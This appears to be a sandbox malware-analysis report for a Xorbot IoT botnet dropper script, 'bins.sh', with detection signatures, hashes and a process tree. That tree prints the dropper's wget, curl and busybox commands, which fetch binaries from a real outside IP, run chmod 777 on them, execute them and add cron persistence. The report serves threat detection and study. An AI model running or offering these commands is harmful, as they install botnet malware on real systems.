Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    18/01/2025, 01:02

Sharing

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250118-bdsfpsyqaq
  • SHA256 e32c15488bbc990e79e9fa835f7838b1669ffef94c3c67a523849ee4974650aa
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2024) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1512
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1513
        • /usr/bin/wget
          wget http://94.154.35.94/bins/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          2⤵
          • Writes file to tmp directory
          PID:1514
        • /usr/bin/curl
          curl -O http://94.154.35.94/bins/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          2⤵
          • Writes file to tmp directory
          PID:1518
        • /bin/busybox
          /bin/busybox wget http://94.154.35.94/bins/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          2⤵
          • Writes file to tmp directory
          PID:1519
        • /bin/chmod
          chmod 777 WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          2⤵
          • File and Directory Permissions Modification
          PID:1520
        • /tmp/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          ./WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          2⤵
          • Executes dropped EXE
          PID:1521
        • /bin/rm
          rm WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          2⤵
            PID:1523
          • /usr/bin/wget
            wget http://94.154.35.94/bins/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            2⤵
            • Writes file to tmp directory
            PID:1524
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            2⤵
            • Writes file to tmp directory
            PID:1525
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            2⤵
            • Writes file to tmp directory
            PID:1526
          • /bin/chmod
            chmod 777 kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            2⤵
            • File and Directory Permissions Modification
            PID:1527
          • /tmp/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            ./kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            2⤵
            • Executes dropped EXE
            PID:1528
          • /bin/rm
            rm kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            2⤵
              PID:1530
            • /usr/bin/wget
              wget http://94.154.35.94/bins/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:1531
            • /usr/bin/curl
              curl -O http://94.154.35.94/bins/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:1532
            • /bin/busybox
              /bin/busybox wget http://94.154.35.94/bins/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:1533
            • /bin/chmod
              chmod 777 y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              2⤵
              • File and Directory Permissions Modification
              PID:1534
            • /tmp/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              ./y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              2⤵
              • Executes dropped EXE
              • System Network Configuration Discovery
              PID:1535
            • /bin/rm
              rm y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              2⤵
              • System Network Configuration Discovery
              PID:1537
            • /usr/bin/wget
              wget http://94.154.35.94/bins/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              2⤵
              • Writes file to tmp directory
              PID:1538
            • /usr/bin/curl
              curl -O http://94.154.35.94/bins/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              2⤵
              • Writes file to tmp directory
              PID:1539
            • /bin/busybox
              /bin/busybox wget http://94.154.35.94/bins/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              2⤵
              • Writes file to tmp directory
              PID:1540
            • /bin/chmod
              chmod 777 PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              2⤵
              • File and Directory Permissions Modification
              PID:1541
            • /tmp/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              ./PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              2⤵
              • Executes dropped EXE
              PID:1542
            • /bin/rm
              rm PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              2⤵
                PID:1544
              • /usr/bin/wget
                wget http://94.154.35.94/bins/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                2⤵
                • Writes file to tmp directory
                PID:1545
              • /usr/bin/curl
                curl -O http://94.154.35.94/bins/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                2⤵
                • Writes file to tmp directory
                PID:1546
              • /bin/busybox
                /bin/busybox wget http://94.154.35.94/bins/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                2⤵
                • Writes file to tmp directory
                PID:1547
              • /bin/chmod
                chmod 777 vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                2⤵
                • File and Directory Permissions Modification
                PID:1548
              • /tmp/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                ./vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                2⤵
                • Executes dropped EXE
                PID:1549
              • /bin/rm
                rm vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                2⤵
                  PID:1551
                • /usr/bin/wget
                  wget http://94.154.35.94/bins/FljVdRLKWKvcp1k2koOUTzIz13u31b0qoC
                  2⤵
                  • Writes file to tmp directory
                  PID:1552
                • /usr/bin/curl
                  curl -O http://94.154.35.94/bins/FljVdRLKWKvcp1k2koOUTzIz13u31b0qoC
                  2⤵
                  • Writes file to tmp directory
                  PID:1553
                • /bin/busybox
                  /bin/busybox wget http://94.154.35.94/bins/FljVdRLKWKvcp1k2koOUTzIz13u31b0qoC
                  2⤵
                  • Writes file to tmp directory
                  PID:1554
                • /bin/chmod
                  chmod 777 FljVdRLKWKvcp1k2koOUTzIz13u31b0qoC
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1555
                • /tmp/FljVdRLKWKvcp1k2koOUTzIz13u31b0qoC
                  ./FljVdRLKWKvcp1k2koOUTzIz13u31b0qoC
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:1556
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:1558
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:1559
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:1560
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:1561
                      • /bin/rm
                        rm FljVdRLKWKvcp1k2koOUTzIz13u31b0qoC
                        2⤵
                          PID:1563
                        • /usr/bin/wget
                          wget http://94.154.35.94/bins/MOiG8dUPgbP7MjEB9fy7aaeqmC5nIABwHP
                          2⤵
                            PID:1566

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              FljVdRLKWKvcp1k2koOUTzIz13u31b0qoC
                              • Path /tmp/FljVdRLKWKvcp1k2koOUTzIz13u31b0qoC
                              • Size 112KB
                              • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
                              • Path /tmp/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
                              • Size 141KB
                              • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
                              • Path /tmp/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
                              • Size 107KB
                              • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
                              • Path /tmp/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
                              • Size 111KB
                              • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                              • Path /tmp/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                              • Size 151KB
                              • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
                              • Path /tmp/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
                              • Size 122KB
                              • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              tmp.6i5JcU
                              • Path /var/spool/cron/crontabs/tmp.6i5JcU
                              • Size 210B
                              • SHA256 09bce51b3c03da2879b5100174c669e0672945ea21d7dde74ed7295c65cfdae9
                              • MD5 SHA1 SHA512
                              Submit Download